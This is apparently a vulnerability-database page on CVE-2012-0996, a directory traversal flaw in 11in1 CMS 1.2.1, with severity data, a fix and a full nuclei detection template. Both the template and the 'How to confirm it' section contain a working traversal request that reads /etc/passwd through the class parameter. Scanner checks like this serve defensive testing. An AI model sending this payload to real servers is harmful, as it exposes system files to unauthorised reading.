HexBrain

Browse / CVEs / CVE-2012-0996

CVE-2012-0996· 11in1 / 11in1· CWE-22

11in1 CMS 1.2.1 - Local File Inclusion (LFI)

mediumseverity
5CVSS score
8.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Multiple directory traversal vulnerabilities in 11in1 1.2.1 stable 12-31-2011 allow remote attackers to read arbitrary files via a .. (dot dot) in the class parameter to (1) index.php or (2) admin/index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and compromise of the affected system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-0996 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-0996

info:
  name: 11in1 CMS 1.2.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in 11in1 1.2.1 stable 12-31-2011 allow remote attackers to read arbitrary files via a .. (dot dot) in the class parameter to (1) index.php or (2) admin/index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and compromise of the affected system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36784
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0996
    - https://www.htbridge.ch/advisory/HTB23071
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0996
    cwe-id: CWE-22
    epss-score: 0.0837
    epss-percentile: 0.95012
    cpe: cpe:2.3:a:11in1:11in1:1.2.1:stable_12-31-2011:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 11in1
    product: 11in1
  tags: cve,cve2012,lfi,edb,11in1,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from